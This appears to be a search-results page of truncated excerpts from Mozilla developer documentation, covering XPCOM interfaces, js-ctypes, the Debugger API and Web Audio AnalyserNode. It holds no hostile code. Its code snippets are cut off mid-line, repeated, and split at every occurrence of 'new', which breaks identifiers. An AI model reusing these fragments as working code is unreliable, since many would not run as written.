newline-tab. string reformatheaderaddresses( in string line ); parameters line the header line to parse. return value the reformatted header line. exceptions thrown missing exception missing description reformatunquotedaddresses() given a string, will make it safe to use b...
nsIPromptService
parent window for the dialog. if set to null the parent window will be nsiwindowwatcher.activewindow. adialogtitle text to appear in the title of the dialog. atext text to appear in the body of the dialog. avalue contains the default value for the dialog field when this method is called (null value is ok). upon return, if the user pressed ok, then this parameter contains a
newly allocated string value. otherwise, the parameter's value is unmodified. if you call this method from javascript you need to wrap this argument in an object with its 'value' property set to a string (or use an empty object). acheckmsg text to appear with the checkbox. if null, checkbox will not be shown. acheckstate contains the initial checked state of the checkbox when this met...
...t window for the dialog. if set to null the parent window will be nsiwindowwatcher.activewindow. adialogtitle text to appear in the title of the dialog. atext text to appear in the body of the dialog. ausername contains the default value for the username field when this method is called (null value is ok). upon return, if the user pressed ok, then this parameter contains a
newly allocated string value. otherwise, the parameter's value is unmodified. if you call this method from javascript you need to wrap this argument in an object with its 'value' property set to a string (or use an empty object). apassword contains the default value for the password field when this method is called (null value is ok). upon return, if the user pressed ok, then this parameter c...
...ed string value. otherwise, the parameter's value is unmodified. if you call this method from javascript you need to wrap this argument in an object with its 'value' property set to a string (or use an empty object). apassword contains the default value for the password field when this method is called (null value is ok). upon return, if the user pressed ok, then this parameter contains a
newly allocated string value. otherwise, the parameter's value is unmodified. if you call this method from javascript you need to wrap this argument in an object with its 'value' property set to a string (or use an empty object). acheckmsg text to appear with the checkbox. if null, checkbox will not be shown. acheckstate contains the initial checked state of the checkbox when this met...
...t window for the dialog. if set to null the parent window will be nsiwindowwatcher.activewindow. adialogtitle text to appear in the title of the dialog. atext text to appear in the body of the dialog. apassword contains the default value for the password field when this method is called (null value is ok). upon return, if the user pressed ok, then this parameter contains a
newly allocated string value. otherwise, the parameter's value is unmodified. if you call this method from javascript you need to wrap this argument in an object with its 'value' property set to a string (or use an empty object). acheckmsg text to appear with the checkbox. if null, checkbox will not be shown. acheckstate contains the initial checked state of the checkbox when this met...
nsISelectionPrivate
upport for content selection handling. inherits from: nsisupports last changed in gecko 35 (firefox 35 / thunderbird 35 / seamonkey 2.32) warning: the content of this article may be out of date. this page wasn't updated since the initial import in 2011. see the idl file linked above for up-to-date information. ...
... void endbatchchanges(); parameters none. native code only!getcachedframeoffset returns cached value for nstextframe::getpointfromoffset. void getcachedframeoffset( in nsiframe aframe, in print32 inoffset, in nspointref apoint ); parameters ...
... void endbatchchanges(); parameters none. native code only!getcachedframeoffset returns cached value for nstextframe::getpointfromoffset. void getcachedframeoffset( in nsiframe aframe, in print32 inoffset, in nspointref apoint ); parameters aframe inoffset apoi...
...ible area. a value of 50 centers the frame horizontally . a value of -1 means move the frame the minimum amount necessary in order for the entire frame to be visible horizontally (if possible). native code only!setancestorlimiter void setancestorlimiter( in nsicontent acontent ); parameters acontent native code only!setpresshell internal utility method to set the pres shell on a
newly created selection. void setpresshell( in nsipresshell apresshell ); parameters apresshell native code only!settextrangestyle set the painting style for the range. the range must be a range in the selection. the textrangestyle will be used by text frame when it is painting the selection. void settextrangestyle( in nsidomrange range, in consttextrangestyleref textrangestyle )...
nsIWindowMediator
how to register then unregister. this example below waits for listens to when a window opens, and then after that window opens it adds event listener to listen to when the window completes loading, after that it fires a function. important: this will attach the functionality to future opened windows, so if you copy paste this code to scratchpad, then after running this script, you need to open a
new window by pressing ctrl + n and then in the
new window, selecting tabs will fire the alert. var {cc: classes, ci: interfaces} = components; var windowlistener = { onopenwindow: function (awindow) { // wait for the window to finish loading let domwindow = awindow.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidomwindowinternal || ci.nsidomwindow); domwind...
...window ); parameters awindow the window to add. removelistener() unregister a listener of window status changes. void removelistener( in nsiwindowmediatorlistener alistener ); parameters alistener the listener to unregister. native code only!setzlevel set the window's z level (as defined in nsixulwindow). the implementation will reposition the window as necessary to match its
new z level. the implementation will assume a window's z level to be nsixulwindow.normalz until it has been informed of a different level. void setzlevel( in nsixulwindow awindow, in pruint32 azlevel ); parameters awindow the window in question. azlevel the window's
new z level. native code only!setzposition a window has been positioned behind another. inform windowmediator. void set...
...w ); parameters awindow the window which has gained focus. native code only!updatewindowtitle call this method when a window's title changes. listeners (see addlistener()) will be notified through their onwindowtitlechange method. void updatewindowtitle( in nsixulwindow awindow, in wstring intitle ); parameters awindow the window whose title has changed. intitle the window's
new title. examples in the examples below, type specifies the type of windows you want to search. you can specify the type of your window by putting a windowtype attribute on the top-level element, like <window> or <dialog>. browser windows have a window type of navigator:browser. to search all windows, regardless of their type, pass an empty string, "". getting most recent window the following...
...eryinterface(components.interfaces.nsidocshelltreeitem).treeowner .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsixulwindow) enumerating windows the following code can be used if you need to do something for each open window of a particular type. for example, you could use it in the "ok" handler of your options dialog to apply the
new settings to each open browser window. var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var enumerator = wm.getenumerator(type); while(enumerator.hasmoreelements()) { var win = enumerator.getnext(); // win is [object chromewindow] (just like window), do something with it } this code iterates over ...
nsIZipWriter
peration is queued for later execution. if false, the operation is performed immediately. will be performed when processqueue() is called. exceptions thrown ns_error_not_initialized no zip file is open. ns_error_file_already_exists the specified path already exists in the zip file. ns_error_in_progress the zip writer is already performing another operation. addentrydirectory() adds a
new directory entry to the zip file. if azipentry does not end with "/" then it will be added. note: although it is not necessary to add directory entries in order to add file entries within them, some zip utilities may have problems with that, so it may be best to add the directory entries explicitly first. void addentrydirectory( in autf8string azipentry, in prtime amodtime, in boolean aque...
...the operation is queued for later execution. if false, the operation is performed immediately. will be performed when processqueue() is called. exceptions thrown ns_error_not_initialized no zip file is open. ns_error_file_already_exists the specified path already exists in the zip file. ns_error_in_progress the zip writer is already performing another operation. addentryfile() adds a
new file or directory to the zip file. if the specified file is a directory, this call is equivalent to: addentrydirectory(azipentry, afile.lastmodifiedtime, aqueue); void addentryfile( in autf8string azipentry, in print32 acompression, in nsifile afile, in boolean aqueue ); parameters azipentry the path of the file entry to add to the zip file. this is the path it will be located at...
...ue() is called. exceptions thrown ns_error_not_initialized no zip file is open. ns_error_in_progress the queue is already in progress. ns_error_file_not_found no entry with the given path exists. other errors may occur if updating the zip file fails. ...
...; const pr_append = 0x10; const pr_truncate = 0x20; const pr_sync = 0x40; const pr_excl = 0x80; see pr_open documentation or file i/o snippets for details. adding a file to a zip archive this code synchronously adds the file specified by the nsifile thefile to the zip archive. var zipwriter = components.constructor("@mozilla.org/zipwriter;1", "nsizipwriter"); var zipw =
new zipwriter(); zipw.open(myzipfilepath, pr_rdwr | pr_create_file | pr_truncate); zipw.addentryfile("path/for/this/file/in/zip archive", components.interfaces.nsizipwriter.compression_default, thefile, false); zipw.close(); the argument myzipfilepath isn't a path but rather it has to be an nsifile instance specifying the location of the
new zip file. the file need not exist, but the directory tha...
XPCOM Thread Synchronization
method of these synchronization objects (e.g. mutex::lock()) has a matching function in nspr (pr_lock()). this is no accident, as mozilla:: primitives are merely bare-minimum wrappers around nspr's. this article covers the api of mozilla synchronization only. for a higher-level introduction to thread synchronization, see introduction_to_nspr. ...
...hronization only. for a higher-level introduction to thread synchronization, see introduction_to_nspr. quick reference: difference between nsautolock api and
new api old construction note: this is deprecated code that is shown only to compare with approved code. prlock* mlock; prmonitor* mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::
newlock("foo lock"); // check for null mmonitor = nsautomonitor::
newmonitor("foo monitor"); // check for null mcvar = pr_
newcondvar(mrawlock); // check for null // ... ...
...de that is shown only to compare with approved code. prlock* mlock; prmonitor* mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::
newlock("foo lock"); // check for null mmonitor = nsautomonitor::
newmonitor("foo monitor"); // check for null mcvar = pr_
newcondvar(mrawlock); // check for null // ... }
new construction using namespace mozilla; mutex mlock; monitor mmonitor; condvar mcvar; fooconstructor() : mlock("foo lock"), mmonitor("foo monitor"), mcvar(mlock, "foo condvar") { } nsresult init() { // ... } old usage note: this is deprecated code that is shown only to compare with approved code. concurrentmethod() { nsautolock al(mlock)...
... mcvar(mlock, "foo condvar") { } nsresult init() { // ... } old usage note: this is deprecated code that is shown only to compare with approved code. concurrentmethod() { nsautolock al(mlock); nsautomonitor am(mmonitor); if (needexpensivecomputation()) { nsautounlock au(mlock); } am.wait(); pr_notifycondvar(mcvar); }
new usage using namespace mozilla; concurrentmethod() { mutexautolock al(mlock); monitorautoenter am(mmonitor); if (needexpensivecomputation()) { mutexautounlock au(mlock); } am.wait(); mcvar->notify(); } mozilla synchronization api reference the mozilla:: namespace exports the following synchronization primitives. mozilla::condvar mozilla::...
Working with Multiple Versions of Interfaces
sdk, and so this magic number happens to be: "244e4c67-a1d3-44f2-9cab-cdaa31b68046" whereas, inside firefox 2, the iid it happens to know about is: "663ca4a8-d219-4000-925d-d8f66406b626". and this explains our ns_error_no_interface. fortunately there is a plan of action that we can follow to rectify this. we build construct our xpcom component so that first tries to get the interface by it's
new iid, then if that fails, attempts plan b. plan b is simply trying to get the interface by it's older iid. for expository purposes we will do this in two stages; buoyed by the fact that it is the actual route we took. the optimist's solution the first thing we do is replace line 6 above by our plan b: if (ns_failed(rv)){ return gethwndb(node); } //
new line 6. and then implement plan b. we f...
...the problem now is not just interface identifier mismatch, but class declaration mismatch. getwindowhandle is the tenth method declared in the nsiaccessibledocument.h that firefox 2 wa...
...taccessiblefor(node, getter_addrefs(accnode)); if(ns_failed(rv)){ return self; } void *wh = null; nscomptr<nsiaccessibledocument> accdocnode; rv = accnode->queryinterface(iad_iid_old, getter_addrefs(accdocnode)); if(ns_failed(rv)){ return self; } rv = accdocnode->getwindowhandle(&wh); if(ns_succeeded(rv)){ self = static_cast<hwnd>(wh); } return self; } there is good
news and bad
news. first the good
news. plan b inside firefox 2 happily runs to completion. all the xpcom calls succeed, or at least think they succeed. the bad
news is that the thing we get back is not a valid hwnd. the problem now is not just interface identifier mismatch, but class declaration mismatch. getwindowhandle is the tenth method declared in the nsiaccessibledocument.h that firefox 2 was built with,...
... that firefox 2 was built with, but actually the eighth method in the sdk that i used to build my extension (and hence xpcom component). since these classes don't use vtables this means i'm probably, no i can be more positive, definitely calling the wrong method. if i were a betting man, i'd hedge a bet on getaccessibleinparentchain, that being the tenth method in the interface declaration in the
new sdk. in actual fact we were lucky we actually got as far as we did, since the very first interface we made use of has changed substantially. if there is any truth to the story i weave here, then this is because getaccessiblefor is still the very first method declared in nsiaccessibleretrieval.h. so if you are lucky enough with your api's this technique may work without further ado. we are not so ...
Xray vision
script objects until recently, built-in javascript objects that are not part of the dom, such as date, error, and object, did not get xray vision when accessed by more-privileged code. most of the time this is not a problem: the main concern xrays solve is with untrusted web content manipulating objects, and web content is usually working with dom objects. ...
...ern xrays solve is with untrusted web content manipulating objects, and web content is usually working with dom objects. ...
...ts. ...
...+ ' this.constructor = "not a constructor";' + ' this.firstname = "joe";' + ' this.address = {"street" : "main street"};' + ' this.fullname = function() {' + ' return this.firstname + " " + this.lastname;'+ ' };' + '};' + 'var me =
new person();' + 'object.defineproperty(me, "lastname", {' + ' enumerable: true,' + ' configurable: true,' + ' writable: true,' + ' value: "smith"' + '});' + 'object.defineproperty(me, "middlename", {' + ' enumerable: true,' + ...
Address book sync client design
holds the following: // // serverrecordid - unique id for a record provided by the // uab server. // localrecordid - local unique id, for mobile devices this // is assigned by the mobile device. // crc - crc of the record last time we synced. // flags - operation to apply to this record. ...
...operation to apply to this record. add // if it's
new, mod if it's been modified, // ret if it was already sent to the server // but an error occured, etc. // // step 1: // when the user begins a sync, run through the local database and update the // sync mapping table. if the crc has changed, mark the entry modified, if // it's a
new record, add an entry and mark it
new, if a record was deleted, // mark the entry deleted, etc. // // sync approach - server handles all conflict resolution: // // step 2: // using the sync mapping table and the local records database, generate the change // list to send to the server. mark any modified or
new record with the ret (retry) // flag. // // step 3: // get the response back ...
...rk any modified or
new record with the ret (retry) // flag. // // step 3: // get the response back from the server. since the communication was successful, // clear the ret (retry) flag on all records. then apply the server changes back // to the local database (updating the crc's in the process). save the changes to // the local database, clear the sync mapping table flags and save the
new sync // mapping table. // public interfaces there is a very simple interface to the address book sync component. ...
...y) flag on all records. then apply the server changes back // to the local database (updating the crc's in the process). save the changes to // the local database, clear the sync mapping table flags and save the
new sync // mapping table. // public interfaces there is a very simple interface to the address book sync component. this interface is defined in mozilla/mail
news/addrbook/public/nsiabsyncdriver.idl #include "nsrootidl.idl" #include "nsiabsynclistener.idl" [scriptable, uuid(91fdfee1-efbc-11d3-8f97-000073757374)] interface nsiabsyncdriver : nsiabsynclistener { void kickit(); }; as you can see, this is a very simple interface which allows for the starting of the address book sync operation. the interface of greater interest is the address book s...
Thunderbird API documentation
warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for
newer information. these pages have been moved from mozilla.org, and may or may not be relevant. ...
... warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for
newer information. these pages have been moved from mozilla.org, and may or may not be relevant. ...
... warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for
newer information. these pages have been moved from mozilla.org, and may or may not be relevant. ...
....net for
newer information. these pages have been moved from mozilla.org, and may or may not be relevant. ...
Building a Thunderbird extension 5: XUL
while xul provides the elements of the user interface, actions are written in javascript. for our first extension, we will add some text to the thunderbird status bar. ...
...while xul provides the elements of the user interface, actions are written in javascript. for our first extension, we will add some text to the thunderbird status bar. ...
...ified. in this example you are adding a line to the indented statusbar. therefore it becomes an item owned by the id called "status-bar". this shows how the thunderbird architecture allows extensions to modify the user experience without modifying the installation files. this also enables version independence between thunderbird and thunderbird extensions. ...
... <statusbarpanel id="my-panel" label="date"/> </statusbar> </overlay> the <statusbar> widget named status-bar specifies the merge point within the application window that we want to attach to. when parsing our overlay file, the xul engine will take all child elements of the <statusbar> tag and merge them with the original xul document's <statusbar> tag. in the example above we have defined a
new <statusbarpanel> item (that can be referred to as my-panel) which will create a
new instance of this widget type and add it at the end of the statusbar. in thunderbird it will appear as a label at the right side of thunderbird's statusbar and display "date". we have also added a <script> tag that contains a reference to the javascript file overlay.js. in the next section you will learn how to us...
customDBHeaders Preference
as you follow along the step-by-step guide in creating a custom column, you may want to consider a preference setting that exposes custom header data for use in a custom column within thunderbird's main view. the mail
news.customdbheaders preference will be our focus. some of the functionality described here is really
new, so please try to be understanding if some of these things change tomorrow (or have changed already). while i was going through the creating a custom column guide, i built and used thunderbird-2.0b1 checked-out from cvs with the thunderbird_2_0b1_release tag. there is a high probability that your experience will be different should you use an earlier release. getting started to build upon the reply-to column tutorial, i'll describe the process i went through in dev...
...h my favorite text editor. in addition to the preference outlined in setting up extension development environment, you'll want to add the following preferences: // this allows you to add extra headers while composing messages user_pref("mail.compose.other.header", "x-superfluous,x-other,x-whatever"); // this enables the preservation of custom headers as incoming mail is processed user_pref( "mail
news.customdbheaders", "x-superfluous,x-other"); important: please pay careful attention to the case of the mail
news.customdbheaders preference. because comparisons are case-insensitive, all of the custom headers get set to lowercase when the data gets migrated to the message database. also, it has been brought to my attention that the delimiter has been changed to a space in the latest code. when ...
....customdbheaders preference. because comparisons are case-insensitive, all of the custom headers get set to lowercase when the data gets migrated to the message database. also, it has been brought to my attention that the delimiter has been changed to a space in the latest code. ...
...(" ~ ~ ~ ~ end superfluous ~ ~ ~ ~ \n"); important be aware that only messages that are added to the .msf database after the customdbheaders pref is set will have the corresponding string property set on the msghdr. if the .msf file is rebuilt, all the msghdrs should have the string property set correctly. the attaching of the column handler through the observerservice object is some pretty
new stuff, so i was using the addeventlistener("select"...) stuff as a backup. depending on the release you use one, both, or none of the methods may work. building the extension for this extension, i used a directory tree exactly like this: superfluous/ chrome.manifest install.rdf makefile chrome/ content/ ...
Standard OS Libraries
nents.utils.import("resource://gre/modules/ctypes.jsm"); var lib = ctypes.open("user32.dll"); /* note: if you go to getcursorpos page on msdn, it says first argument is of structure point, so lets create that structure, * the link here shows that that x and y are type long which is ctypes.long */ // https://msdn.microsoft.com/en-us/library/windows/desktop/dd162805%28v=vs.85%29.aspx var point =
new ctypes.structtype("tagpoint", [ { "x": ctypes.long }, { "y": ctypes.long } ]); /* declare the signature of the function we are going to call */ var getcursorpos = lib.declare('getcursorpos', ctypes.winapi_abi, ctypes.bool, point.ptr ); /* use it like this */ var point = point(); var ret = getcursorpos(point.address()); components.utils.reporterror(ret); components.utils.reporte...
....default_abi, ctypes.bool, display_ptr, window, window.ptr, window.ptr, ctypes.int.ptr, ctypes.int.ptr, ctypes.int.ptr, ctypes.int.ptr, ctypes.unsigned_int.ptr ); let xclosedisplay = x11.declare("xclosedisplay", ctypes.default_abi, ctypes.int, display_ptr ); let display = xopendisplay(null); let rootwindow = xrootwindow(display, 0); let root =
new window(); let child =
new window(); let rootx =
new ctypes.int(); let rooty =
new ctypes.int(); let windowx =
new ctypes.int(); let windowy =
new ctypes.int(); let mask =
new ctypes.unsigned_int(); xquerypointer(display, rootwindow, root.address(), child.address(), rootx.address(), rooty.address(), windowx.address(), windowy.address(), mask.address() ); xclosedis...
...et cgeventsourceref = ctypes.voidptr_t; let cgeventcreate = coregraphics.declare("cgeventcreate", ctypes.default_abi, cgeventref, cgeventsourceref); let cgfloat = ctypes.voidptr_t.size == 4 ? ...
...let objc_msgsend_nspoint = objc.declare("objc_msgsend", ctype...
Using js-ctypes
ry the directories listed in the path environment variable. note: this information comes from this article on msdn. after you're done when you're finished using a library, you should close it by calling the library object's close() method: lib.close(); if you fail to close the library, it will be automatically closed when it is garbage collected. using the library you may need to declare
new types. these can be simple types or more complex types such as structures. see declaring types for details. you will almost certainly need to declare one or more functions, so that you can call them. once you've declared the types and functions, you can write your code to make use of them. instantiating c data objects and referencing them is covered in the article working with data. memory mana...
... line 3, the user32.dll system library is loaded. line 6 declares msgbox() to be a method that calls the windows function messageboxw. line 15 calls the msgbox() routine, which displays the alert. the last thing we do is call lib.close() to close the library when we're done using it. instead of defining the whole path, you may also just give the file name. about declaring the function how we k
new how to declare the function was by going to msdn site and looking at the messagebox (messageboxw is just a unicode version of same function) function. also learn about the lib.declare function used here: lib.declare. learn about the data types used here: data types. we see that it needs to be defined like this: int winapi messagebox( _in_opt_ hwnd hwnd, _in_opt_ lpctstr lptext, _in_opt_ ...
...sernotificationdisplaynotice. ...
...cf = ctypes.open('/system/library/frameworks/corefoundation.framework/corefoundation'); // define types var cfindex = ctypes.long; var cfoptionflags = ctypes.unsigned_long; var cftimeinterval = ctypes.double; var cftyperef = ctypes.voidptr_t; var sint32 = ctypes.long; var void = ctypes.void_t; var __cfstring =
new ctypes.structtype("__cfstring"); var cfstringref = __cfstring.ptr; var __cfurl =
new ctypes.structtype("__cfurl"); var cfurlref = __cfurl.ptr; var __cfallocator =
new ctypes.structtype("__cfallocator"); var cfallocatorref = __cfallocator.ptr; var unichar = ctypes.jschar; // uint16 with automatic conversion // define constants var kcfusernotificationstopalertlevel = 0; var kcfusernotificationnotealertlevel = 1; var kcfusernotificationcautionalertlevel = 2; var kcfusernotifica...
ArrayType
arraytype represents c arrays syntax returns a
new ctype representing an array data type. ctype arraytype() type[ length] ); parameters type: it represents the type of the elements or variable which is going to be present in an array length optional it denotes the number of entries present in an array or the number of elements that an array should contain. if you don't specify this parameter, the array's length is unspecified. return value a ctype represents the
newly declared array type. exceptions thrown typeerror type is not a ctype, or type.size is undefined.if the length is specifed but if it is not a valid one,then it is also thrown rangeerror the size of the resulting array can't be represented as both a size_t and as a javascript number. properti...
...d from ctype ctype array([n]) string tosource() string tostring() arraytype cdata syntax cdata sized_arraytype(); cdata unsized_arraytype(length); sized_arraytype and unsized_arraytype are arraytype ctype. parameters length the number of entries the array type should be able to contain. only for unsized arraytype. return value a cdata representing the
newly allocated array. exceptions thrown typeerror length is not provided for unsized array, or is provided for sized array. arraytype cdata properties property type description length number the length of the array. read only. in addition, each element in the array can be referenced by index using standard bracket notation, such as myarray[index]. proper...
...value object the javascript equivalent of the cdata object's value. this will throw a typeerror exception if the value can't be converted. arraytype cdata method_overview cdata addressofelement(idx) methods inherited from cdata cdata address() string tosource() string tostring() arraytype cdata methods addressofelement() returns a
new cdata object of the appropriate pointer type, whose value points to the specified array element on which the method was called. cdata addressofelement( idx ); parameters idx a numeric value indicating the offset into the array of the element just to return a pointer. if this value isn't a valid javascript number that's also a valid index into the array, a typeerror exception is thrown. ...
...the appropriate pointer type, whose value points to the specified array element on which the method was called. cdata addressofelement( idx ); parameters idx a numeric value indicating the offset into the array of the element just to return a pointer. if this value isn't a valid javascript number that's also a valid index into the array, a typeerror exception is thrown. return value a
new cdata object pointing to the specified element. the type of the returned object will be determined by ctypes.pointertype(thearraytype.constructor.elementtype)). see also ctype cdata type conversion ...
UInt64
use data represented using a 64-bit data type. you use the uint64 object to create and manipulate 64-bit unsigned integers. note: it's important to note that the 64-bit integer objects created by uint64 are not uint64 objects; rather, they're opaque objects whose values you manipulate through the other methods on the uint64 object. see 64-bit integers for details. syntax creates and returns a
new 64-bit unsigned integer. uint64 uint64( value ); parameters value the value to assign the
new 64-bit unsigned integer object. this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" fol...
...ger object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number. the string is then converted into the corresponding 64-bit integer value. you can therefore use a string to represent a 64-bit value that is too large to represent as a 32-bit javascript number. return value a
new object representing the specified value. exceptions thrown typeerror the specified value cannot be converted into a 64-bit integer. either it's not a number, string, or 64-bit integer object, or it's a string that is incorrectly formatted or contains a value outside the range that can be represented in 64 bits. this will also be thrown if the source value is a floating-point number that can'...
...this is essentially num & 0xffffffff. exceptions thrown typeerror num is not a 64-bit integer object. join() creates a 64-bit integer object with a value constructed using the specified high and low order 32-bit values. uint64 join( high, low ); parameters high the high-order 32 bits of the value to create. low the low-order 32 bits of the value to create. return value a
new 64-bit integer object comprised of the two values merged together. the returned value is (high << 32) + low. exceptions thrown typeerror one or both of the specified numbers is not a javascript number with an integral value. tosource() this method is for internal debugging use only. warning: do not rely on the value returned by this method, as it's subject to change at any time, depend...
...type is "' + ccon + '"'); } } } } function uint64_add(...uint64) { ensureuint64(uint64); var hi = uint64.hi(uint64[0]); var lo = uint64.lo(uint64[0]);; for (var i=1; i<uint64.length; i++) { hi += uint64.hi(uint64[i...
Debugger.Script - Firefox Developer Tools
single call to eval, excluding the bodies of any functions that code defines. the contents of a <script> element. a dom event handler, whether embedded in html or attached to the element by other javascript code. code appearing in a javascript: url. the debugger interface constructs debugger.script objects as scripts of debuggee code are uncovered by the debugger: via the on
newscript handler method; via debugger.frame’s script properties; via the functionscript method of debugger.object instances; and so on. for a given debugger instance, spidermonkey constructs exactly one debugger.script instance for each underlying script object; debugger code can add its own properties to a script object and expect to find them later, use == to decide whether two expressions refer...
... for equivalent functions or evaluated code—that is, scripts representing the same source code, at the same position in the same source file, evaluated in the same lexical environment. debugger.script for webassembly for debugger.script instances referring to a block of webassembly code, they are distinguished by their format property being "wasm". currently only entire modules evaluated via
new webassembly.module are represented. debugger.script objects for webassembly are uncovered via on
newscript when a
new webassembly module is instantiated and via the findscripts method on debugger instances. spidermonkey constructs exactly one debugger.script for each underlying webassembly module per debugger instance. a debugger.script instance is a strong reference to the underlying webassembl...
...he number of times the current opcode got executed. if this script has no coverage, or if it is not instrumented, then this function will return null. to ensure that the debuggee is instrumented, the flag debugger.collectcoverageinfo should be set to true. if the instance refers to webassembly code, throw a typeerror. getchildscripts() if the instance refers to a jsscript, return a
new array whose elements are debugger.script objects for each function in this script. only direct children are included; nested children can be reached by walking the tree. if the instance refers to webassembly code, throw a typeerror. setbreakpoint(offset,handler) if the instance refers to a jsscript, set a breakpoint at the bytecode instruction atoffset in this script, reporting hits to th...
...n; when control reaches that point, spidermonkey calls their handlers in an unspecified order. any number of breakpoints may use the samehandler object. breakpoint handler method calls are cross-compartment, intra-thread calls: the call takes place in the same thread that hit the breakpoint, and in the compartment containing the handler function (typically the debugger’s compartment). the
new breakpoint belongs to the debugger instance to which this script belongs. disabling the debugger instance disables this breakpoint; and removing a global from the debugger instance’s set of debuggees clears all the breakpoints belonging to that debugger instance in that global’s scripts. getbreakpoints([offset]) if the instance refers to a jsscript, return an array containing the handle...
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
y start debugging anything. components.utils.import('resource://gre/modules/jsdebugger.jsm'); adddebuggertoglobal(window); (function () { // the debugger we'll use to observe a tab's allocation. var dbg; // start measuring the selected tab's main window's memory // consumption. this function is available in the browser // console. window.demotrackallocations = function() { dbg =
new debugger; // this makes hacking on the demo *much* more // pleasant. dbg.uncaughtexceptionhook = handleuncaughtexception; // find the current tab's main content window. var w = gbrowser.selectedbrowser.contentwindow; console.log("tracking allocations in page: " + w.location.href); // make that window a debuggee of our debugger. dbg.adddebuggee(w.
...} function handleuncaughtexception(ex) { console.log('debugger hook threw:'); console.log(ex.tostring()); console.log('stack:'); console.log(ex.stack); }; function plot(log) { // given the log, compute a map from allocation sites to // allocation counts. note that stack entries are '===' if // they represent the same site with the same callers. var counts =
new map; for (let site of log) { // this is a kludge, necessary for now. the saved stacks // are
new, and firefox doesn't yet understand that they // are safe for chrome code to use, so we must tell it // so explicitly. site = components.utils.waivexrays(site.frame); if (!counts.has(site)) counts.set(site, 0); counts.set(site, counts.get(site) + ...
... so explicitly. site = components.utils.waivexrays(site.frame); if (!counts.has(site)) counts.set(site, 0); counts.set(site, counts.get(site) + 1); } // walk from each site that allocated something up to the // root, computing allocation totals that include // children. remember that 'null' is a valid site, // representing the root. ...
...e root. var totals =
new map; for (let [site, count] of counts) { for(;;) { if (!totals.has(site)) totals.set(site, 0); totals.set(site, totals.get(site) + count); if (!site) break; site = site.parent; } } // compute parent-to-child links, since saved stack frames // have only parent links. var rootchildren =
new map; function childmapfor(site) { if (!site) return rootchildren; let parentmap = childmapfor(site.parent); if (parentmap.has(site)) return parentmap.get(site); var m =
new map; parentmap.set(site, m); return m; } for (let [site, total] of totals) { childmapfor(site); } // print the allocation count for |site|. print...
AnalyserNode.fftSize - Web APIs
a higher value will result in more details in the frequency domain but fewer details in the time domain. ...
...own. example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). ...
...lloscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); ... ...
...er.frequencybincount ; var dataarray =
new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.li
newidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x ...
AnalyserNode.getByteTimeDomainData() - Web APIs
the getbytetimedomaindata() method of the analysernode interface copies the current waveform, or time-domain, data into a uint8array (unsigned byte array) passed into it. if the array has fewer elements than the analysernode.fftsize, excess elements are dropped. if it has more elements than needed, excess elements are ignored. syntax const audioctx =
new audiocontext(); const analyser = audioctx.createanalyser(); const dataarray =
new uint8array(analyser.fftsize); // uint8array should be the same length as the fftsize analyser.getbytetimedomaindata(dataarray); // fill the uint8array with data returned from getbytetimedomaindata() parameters array the uint8array that the time domain data will be copied to. if the array has fewer elements than the analysernode.fftsize, excess element...
...ne example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). ...
...scilloscope style" output of the current audio input. for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code). const audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); const analyser = audioctx.createanalyser(); ... ...
...048; const bufferlength = analyser.fftsize; const dataarray =
new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.li
newidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; const slicewidth = width * 1.0 / bufferlength; let x = 0; canvasctx.beginpath(); for(var i = 0; i < bufferlength; i++) { const v = dataarray[i]/128.0; const y = v * height/2; if(i === 0) canvasctx.moveto(x, y); else canvasctx.lineto(x, y); x += slicewidth; } canvasctx.lineto(width, height/2); can...
AnalyserNode.getFloatTimeDomainData() - Web APIs
the getfloattimedomaindata() method of the analysernode interface copies the current waveform, or time-domain, data into a float32array array passed into it. if the array has fewer elements than the analysernode.fftsize, excess elements are dropped. if it has more elements than needed, excess elements are ignored. syntax var audioctx =
new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray =
